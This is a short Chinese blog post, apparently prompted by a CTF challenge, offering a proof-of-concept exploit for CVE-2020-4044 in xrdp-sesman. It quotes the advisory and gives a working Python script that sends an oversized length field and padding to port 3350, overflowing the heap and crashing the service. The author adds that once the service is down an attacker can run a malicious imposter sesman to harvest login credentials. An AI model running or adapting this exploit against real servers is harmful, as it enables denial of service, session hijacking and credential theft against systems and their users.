CVE-2020-4044 poc

上次强网杯考了xrdp的题目,后来发现之前还有一个cve

CVE-2020-4044

The xrdp-sesman service before version 0.9.13.1 can be crashed by connecting over port 3350 and supplying a malicious payload. Once the xrdp-sesman process is dead, an unprivileged attacker on the server could then proceed to start their own imposter sesman service listening on port 3350. This will allow them to capture any user credentials that are submitted to XRDP and approve or reject arbitrary login credentials. For xorgxrdp sessions in particular, this allows an unauthorized user to hijack an existing session. This is a buffer overflow attack, so there may be a risk of arbitrary code execution as well.

这个exp其实比较好写,就是一个size任意赋值导致的堆溢出

#!/usr/bin/python3
import socket

def p32_big(content):
    return content.to_bytes(4,"big")


def connect():
    s = socket.socket()         
    host = "127.0.0.1" 
    port = 3350               
    s.connect((host, port))
    return s

fd=connect()
fd.sendall(p32_big(0)+p32_big(0xffffff8))
fd.sendall(b"a"*0xfffff)

在这里插入图片描述
在这里插入图片描述
这里官方对这个的定义其实就是一个劫持,我们把它打挂以后,跑一个恶意的xrdp收集凭证
因为这个版本的xrdp只支持一次一个连接,堆喷也比较麻烦,因为后面没啥结构体了

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值